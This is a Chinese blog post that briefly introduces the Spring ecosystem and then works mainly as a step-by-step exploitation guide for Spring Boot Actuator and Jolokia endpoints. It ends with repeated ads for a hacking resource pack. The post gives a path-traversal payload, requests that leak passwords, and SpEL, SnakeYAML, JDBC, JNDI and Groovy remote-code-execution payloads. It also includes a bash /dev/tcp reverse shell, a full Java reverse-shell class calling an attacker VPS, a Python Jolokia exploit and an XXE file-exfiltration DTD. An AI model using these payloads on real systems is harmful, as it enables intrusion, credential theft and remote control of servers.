Spring 框架:你大爷永远是你大爷
Spring 框架
,江湖人称 Java 界的瑞士军刀,功能那是相当强大,目标是提供一个高效且可扩展的开发环境。Spring 生态系统里有五大天王:Spring Framework、Spring Boot、Spring Cloud、Spring Security 和 Spring MVC
。
简单介绍一下:
Spring Framework
: 核心骨架,提供了依赖注入(IoC)、面向切面编程(AOP)、数据访问和事务管理等神兵利器。
Spring MVC
: 构建 Web 应用和 RESTful 服务的利器。DispatcherServlet、注解驱动、视图解析,三大特性让你轻松驾驭 Web 开发。
Spring Boot
: 简化开发的火箭,基于 Spring Framework,自动配置、内嵌服务器、快速启动,让你告别繁琐配置。自动配置、内嵌 Tomcat、独立运行、Starter 依赖,四大金刚护体。
Spring Cloud
: 微服务架构的翅膀,基于 Spring Boot,提供构建分布式系统和微服务的各种姿势。服务发现、负载均衡、配置管理、断路器、API 网关,微服务路上不再孤单。
Spring Security
: 安全卫士,为 Spring 应用保驾护航,提供认证和授权功能。身份验证、访问控制、Web 安全保护,安全感爆棚。
它们之间的关系嘛,就像这样:
Spring Framework
:地基,包含核心功能和 Spring MVC。
Spring MVC
:Spring Framework 里的 Web 框架模块。
Spring Boot
:站在 Spring Framework 的肩膀上,简化开发。
Spring Cloud
:基于 Spring Boot,玩转微服务。
Spring Security
:集成在 Spring Framework 中,负责安全。
Spring Boot Starter:解放你的双手
如果你觉得只是把 XML 配置换成 JavaConfig 配置就能减少工作量,那就 too young too simple 了。真正解放双手,还得感谢 Spring Boot Starter,它帮你完成了大量的配置工作,你只需要写一丢丢配置就行了。
Spring Boot 自动配置用到的注解:@SpringBootApplication
、@SpringBootConfiguration
、@ComponentScan
、@EnableAutoConfiguration
、@AutoConfigrationPackage
、@EnableConfigurationProperties
。
外部配置文件导入注解:@PropertySource
。
定时任务注解:@EnableScheduling
、@Scheduled
、@EnableAsync
、@Async
。
过滤器:@WebFilter
、@ServletComponentScan
。
拦截器:拦截你的所有请求。
监听器:监听你的所有事件。
校验器:@Validated
,校验数据,保证安全。
异常处理:@ControllerAdvice
、@ExceptionHandler
,统一处理异常。
自动加载原理:
Spring Boot 启动时,会去依赖的 starter
包中寻找 resources/META-INF/spring.factories
文件,然后根据文件里配置的 Jar 包去扫描项目依赖的 Jar 包,这有点像 Java 的 SPI 机制。SPI (Service Provider Interface),Java 内置的服务发现机制。
根据 spring.factories
配置加载 AutoConfigure
类。
根据 @Conditional
注解的条件,进行自动配置,并将 Bean 注入到 Spring Context
上下文里。
springboot-cve_2021_21234:文件包含漏洞
环境:vulfocus.cn
,永远的神!
Spring Boot,Pivotal 团队的扛鼎之作,目标是简化 Spring 应用的搭建和开发过程。它用特定的方式进行配置,让开发者不再需要写那些重复的配置代码。Spring Boot 致力于成为快速应用开发领域的领导者。
这个漏洞是个文件包含漏洞,可以直接读取服务器上的文件。
漏洞 PoC:
/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
修复方案:升级到 0.2.13,一劳永逸。
SpringCloud:微服务架构的瑞士军刀
Spring Cloud
基于 Spring Boot 构建,提供配置管理、服务注册与发现、智能路由等常用功能,帮你快速开发分布式系统。
一张图胜过千言万语,看这位大师傅画的图:
信息泄露漏洞:不小心暴露了秘密
这个漏洞主要是一些路由地址和接口的信息泄露,用 springscan
扫描一波:
/v2/api-docs
:Swagger 文档,暴露 API 接口。
/swagger-ui.html
:Swagger UI 界面,方便查看 API。
/env
:获取环境变量信息,可能包含敏感信息。
/mappings
:查看请求映射,暴露路由。
/metrics
:应用指标,监控信息。
/beans
:Spring Beans 信息。
/configprops
:配置属性。
/actuator/metrics
、/actuator/mappings
、/actuator/beans
、/actuator/configprops
:Actuator 端点,提供更详细的信息。
敏感信息明文获取:裤子都脱了,你给我看这个?
如果目标网站存在一些接口依赖 jolokia-cor
,比如 /jolokia
、/actuator/jolokia
,就可以尝试利用。
实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar
类实例的 getProperty
方法。
PoC:
// spring 1.x 版本
POST /jolokia
Content-Type: application/json
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
// spring 2.x 版本
POST /actuator/jolokia
Content-Type: application/json
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
远程代码执行:搞事情的来了
主要问题是 springboot
存在一些组件漏洞,总结如下:
Spring Boot whitelabel error page 远程命令执行:骚操作
漏洞原理:使用了 springboot
默认错误页,在处理参数值时使用了递归流程,进入到 PropertyPlaceholderHelper
类中,${}
包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的 resolvePlaceholder
方法当作 SpEL 表达式解析执行,导致 RCE 漏洞。
漏洞文件:ErrorMvcAutoConfiguration.java
漏洞复现:测试网站是否存在 Whitelabel Error Page
,通过 fuzz
一些参数值,比如 id
、sid
,如果存在 500 报错
,就可以测试 SpEL 表达式注入。
漏洞 PoC:
生成 16 进制的脚本:
input_string = "open -a Calculator"
hex_list = []
for ch in input_string:
# 将字符转换为十六进制表示,并添加到列表中
hex_list.append(f"0x{ord(ch):02x}")
hex_string = ', '.join(hex_list)
print(hex_string)
// 测试漏洞是否存在
${6*6} // 看是否有返回 36
// 执行 Calc 命令
${T(java.lang.Runtime).getRuntime().exec(newString(newbyte[]{0x63,0x61,0x6c,0x63}))}
spring cloud SnakeYAML 远程命令执行:一条蛇引发的血案
利用条件:通过查看是否存在 /env
或 /actuator/env
泄露,请求是否存在 spring-boot-starter-actuator
,目标主机可出网,且版本 小于 1.3.0.RELEASE
。
漏洞原理:Spring Cloud 配置通过 spring.cloud.bootstrap.location
指向恶意 YML 文件 URL,触发 refresh 请求该文件,利用 SnakeYAML 反序列化漏洞拉取恶意 JAR 并实例化其中的 javax.script.ScriptEngineFactory
实现类,导致远程代码执行(RCE)。
漏洞复现过程:
- 在
vps
主机开放一个端口,上传一个exp.yml
文件进行远程加载,写入恶意执行代码。
参考:https://github.com/artsploit/yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
- 设置
spring.cloud.bootstrap.location
属性。
构造 PoC 如下,分为 spring1.x
和 spring2.x
:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://vps:port/exp.yml
// spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://vps:port/exp.yml
- 刷新配置
refresh
。
PoC 如下:
// spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
// spring 2.x
POST /actuator/refresh
Content-Type: application/x-www-form-urlencoded
springboot mysql jdbc deserialization 远程代码执行:数据库也疯狂
简述:Java Database Connectivity (JDBC)
是 Java 中用于连接和执行数据库操作的 API。它提供了一组标准接口,使开发人员能够使用 Java 代码与各种关系数据库进行交互。
利用条件:访问 /env
或 /actutar/env
接口,查询是否存在 mysql-connector-java
依赖。
进一步观察是否存在常见的反序列化 gadget
依赖,比如 commons-collections
、Jdk7u21
、Jdk8u20
等,观察版本并记录,搜索关键词 spring.datasource.url
,记录 value
值(方便恢复)。
漏洞利用:
根据属性条件进行修改调用 mysql jdbc
,判断具体情况利用,未授权可能影响业务数据,流程如下。
不同版本 mysql-connector-java 5.x
和 mysql-connector-java 8.x
,PoC 如下:
// mysql-connector-java 5.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
// mysql-connector-java 8.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
同理判断是否存在 /env
或 /actuator/env
:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
// spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
修改完成后进行刷新配置,再触发即可。
访问 /refresh
或 /actuator/refresh
刷新配置,最后触发查询,访问 /product/list
去触发漏洞,如果没有则需要找其他数据库查询接口。
修复业务:需要还原 spring.datasource.url
的 value
值为初始的,以防损害业务!!
h2 database console JNDI 命令执行:内存数据库的逆袭
简述:H2 database
是一款 Java 内存数据库,多用于单元测试。H2 database 自带一个 Web 管理页面,在 Spring 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权。
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用条件:
存在下述界面:访问 /h2-console
漏洞利用:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
- 下载后放入
vps
中加载,运行命令如下,注意这里版本需要java8
环境。
// 执行:bash -i >& /dev/tcp/VPS/1234 0>&1 的 Base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,反弹shell的base64}|{base64,-d}|{bash,-i}' -A VPS
开启 vps
监听端口3333
。
选择生成的 url links
,这里用 rmi地址
。
监听端口成功反弹 shell!
jolokia logback JNDI 命令执行:JMX 的 HTTP 接口
简介:Jolokia 是一款开源产品,用于为 JMX(Java Management Extensions)技术提供 HTTP API 接口。其中,该产品提供了一个 API,用于调用在服务器上注册的 MBean 并读/写其属性。JMX 技术用于管理和监视设备、应用程序和网络驱动的服务。
利用条件:看网站是否泄露 /jolokia
或 /actuator/jolokia
接口,进一步看目标是否使用 jolokia-core
依赖,判断是否出网,漏洞利用是 JDNI 注入
,版本限制为:jdk < 6u201/7u191/8u182/11.0.1(LDAP)。
漏洞利用:
访问 /jolokia/list
接口,查看是否存在 ch.qos.logback.classic
,也就是 logback 库下的 reloadByURL 可以造成 JNDI 注入。
步骤流程如下:
- 在
vps
上放入xml文件
进行加载,内容如下:
// 文件内容如下
<configuration>
<insertFromJNDI env-entry-name="ldap://VPS:1389/JNDIObject" as="appName" />
</configuration>
- 编写用来反弹 shell 的代码
JNDIObject.java
:
/** 运行
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
*/
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject{
static{
try{
String ip ="your-vps-ip";
String port ="3333";//反弹shell端口
String py_path =null;
String[] cmd;
if(!System.getProperty("os.name").toLowerCase().contains("windows")){
String[] py_envs =new String[]{"/bin/python","/bin/python3","/usr/bin/python","/usr/bin/python3","/usr/local/bin/python","/usr/local/bin/python3"};
for(int i =0; i < py_envs.length;++i){
String py = py_envs[i];
if((new File(py)).exists()){
py_path = py;
break;
}
}
if(py_path !=null){
if((new File("/bin/bash")).exists()){
cmd =new String[]{py_path,"-c","import pty;pty.spawn("/bin/bash")"};
}else{
cmd =new String[]{py_path,"-c","import pty;pty.spawn("/bin/sh")"};
}
}else{
if((new File("/bin/bash")).exists()){
cmd =new String[]{"/bin/bash"};
}else{
cmd =new String[]{"/bin/sh"};
}
}
}else{
cmd =new String[]{"cmd.exe"};
}
Process p =(new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s =new Socket(ip,Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0){
so.write(pi.read());
}
while(pe.available()>0){
so.write(pe.read());
}
while(si.available()>0){
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try{
p.exitValue();
break;
}catch(Exception e){
}
}
p.destroy();
s.close();
}catch(Throwable e){
e.printStackTrace();
}
}
}
这里需要用低版本 兼容运行
:
javac -source 1.5 -target 1.5 JNDIObject.java
// 生成 JNDIObject.class 拷贝到 vps 根目录
- 开启恶意的 ldap 服务:
利用项目:https://github.com/mbechler/marshalsec,命令如下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS:port/#JNDIObject 1389
监听反弹 shell 端口 3333
。
- 从外部进行远程加载
日志配置文件
从而RCE
:
访问地址如下:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps:port!/example.xml
jolokia Realm JNDI 命令执行:Tomcat 的后门
利用条件和上面差不多,访问接口 /jolokia
或 /actuator/jolokia
。
漏洞利用:
流程如下:访问 /actuator/jolokia/list
路由搜索 logback
和 reloadByURL
,发现目标未启用 logback 组件。在 jolokia-realm-jndi-rce 中使用 marshalsec-0.0.3-SNAPSHOT-all.jar
来进行 JNDI 注入
,依赖于目标使用的 JDK 版本,对于 OracleJDK11.0.1、8u191、7u201、6u211 或者更高版本的 JDK, 限制加载远程 codebase.
- 访问
/jolokia/list
接口,查看是否存在type=MBeanFactory
和createJNDIRealm
关键词,编写用来反弹 shell 的代码JNDIObject.java
,将编译好的class
文件放到网站根目录。
javac -source 1.5 -target 1.5 JNDIObject.java
- 利用
marshalsec
开启恶意的rmi服务
:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:port/#JNDIObject 1389
- 开启监听端口
3333
,调用进行加载触发,利用exp
如下:
#!/usr/bin/env python3
import requests
url ='http://地址/jolokia'
create_realm = {
"mbean":"Tomcat:type=MBeanFactory",
"type":"EXEC",
"operation":"createJNDIRealm",
"arguments":["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean":"Tomcat:realmPath=/realm0,type=Realm",
"type":"WRITE",
"attribute":"contextFactory",
"value":"com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean":"Tomcat:realmPath=/realm0,type=Realm",
"type":"WRITE",
"attribute":"connectionURL",
"value":"rmi://your-vps-ip:1389/JNDIObject"
}
stop = {
"mbean":"Tomcat:realmPath=/realm0,type=Realm",
"type":"EXEC",
"operation":"stop",
"arguments":[]
}
start = {
"mbean":"Tomcat:realmPath=/realm0,type=Realm",
"type":"EXEC",
"operation":"start",
"arguments":[]
}
flow =[create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...'%(i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)
命令:python3 exp.py
jolokia XXE 任意文件读取:XML 注入
源码复现:git clone [https://github.com/veracode-research/actuator-testbed.git](https://github.com/veracode-research/actuator-testbed.git)
影响版本:Spring Boot 2.x
漏洞原因:该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。对于此漏洞,Spring boot
会把 /
解析成 /
,导致可以部署 xml
脚本进行远程加载解析。
漏洞条件:
访问 /jolokia/list
接口,在页面搜索 logback
,查看是否存在 logback
库提供的 reloadByURL
方法,根据响应页面存在 logback
库提供的 reloadByURL
方法。
漏洞复现:
- 在
vps
上创建logback.xml
,内容如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps:4444/xxe.dtd">%remote;%int;]>
<a>&trick;</a>
- 创建一个外部实体文件
xxe.dtd
:
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
- vps 开启监听端口
4444
进行请求远程文件logback.xml
,加载dtd
文件触发文件读取漏洞
,poc
如下:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/VPSIP地址!/logback.xml
SpringBoot Actuator之restart logging.config grovvy命令执行:Groovy 脚本的诱惑
第一种:
简述:根据 springboot 相关文档说明:可通过 Spring 环境属性 logging.config
进一步设置配置文件的位置。
利用条件:存在 /actuator/restart
接口,存在 groovy依赖
漏洞利用:关键代码在 org.springframework.boot.context.logging.LoggingApplicationListener#initialize()
方法中,logback-classic 组
件的 ch.qos.logback.classic.util.ContextInitializer.java
代码文件逻辑中会判断 url 是否以 groovy 结尾
漏洞复现:
- 远程加载
.groovy
文件,这里写入一个exp.groovy
:
// VPS 写入一个命令执行函数
Runtime.getRuntime().exec("open -a Calculator")
Runtime.getRuntime().exec("calc")
python -m http.server 1234
- 设置
logging.config
属性,poc 如下:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://vps:port/exp.groovy
// spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://vps:port/exp.groovy"}
- 最后访问
/restart
或/actuator/restart
重新应用即可加载命令执行。
注意此操作会重启业务运行,请授权测试
另一种姿势:restart spring.main.sources groovy 命令执行
,同理也是需要 groovy依赖
,poc
如下:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://vps:port/exp.groovy
// spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.main.sources","value":"http://vps:port/exp.groovy"}
然后重启等待加载即可,最终是正常访问 /actuator/env
接口的。
SpringBoot Actuator之restart logback JNDI 命令执行:JNDI 注入的魅力
利用条件:JNDI
服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口
,存在 /env
和 /restart
接口。
spring actuator 1.x 开启 restart 需要配置: endpoints.restart.enabled=true spring actuator
spring actuator 2.x 开启 restart 需要配置: management.endpoint.restart.enabled=true
漏洞复现:
- 在根目录创建一个
xml文件
,通过远程去加载exp.xml
:
// 这里 base64 为命令执行语句
<configuration>
<insertFromJNDI env-entry-name="ldap://vvps:1389/TomcatBypass/Command/Base64/Y2FsYw==" as="appName" />
</configuration>
vps
上开启ldap
服务并启动:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
- 请求
/env
去设置logging.config
属性:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://vps:port/exp.xml
// spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://vps:ip/exp.xml"}
- 最后访问
/restart
或/actuator/restart
重启即可。
提:如果说存在相关 tomcat
版本的话,也可以用 javax.el.ELProcessor
作为 Reference Factory
来绕过高版本 JDK 的限制。
SpringBoot Actuator之restart logging.config grovvy命令执行:H2 Database 的骚操作
利用条件:需要存在 /env
和 /restart
接口,环境需要存在 h2database
、spring-boot-starter-data-jpa
相关依赖,返回 错误的 h2 sql语法
漏洞利用:
vps
上进行存放.sql
文件进行远程加载,内容如下:
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','calc');
- 设置
spring.datasource.data
属性:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://vps:port/exp.sql
// spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://vps:port/exp.sql
- 最终重启应用即可,访问
/restart
或/actutar/restart
接口。
结:闲暇之余,学习总结一下 springboot
相关知识,路漫漫其修远兮,如若有误,欢迎师傅指出。
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************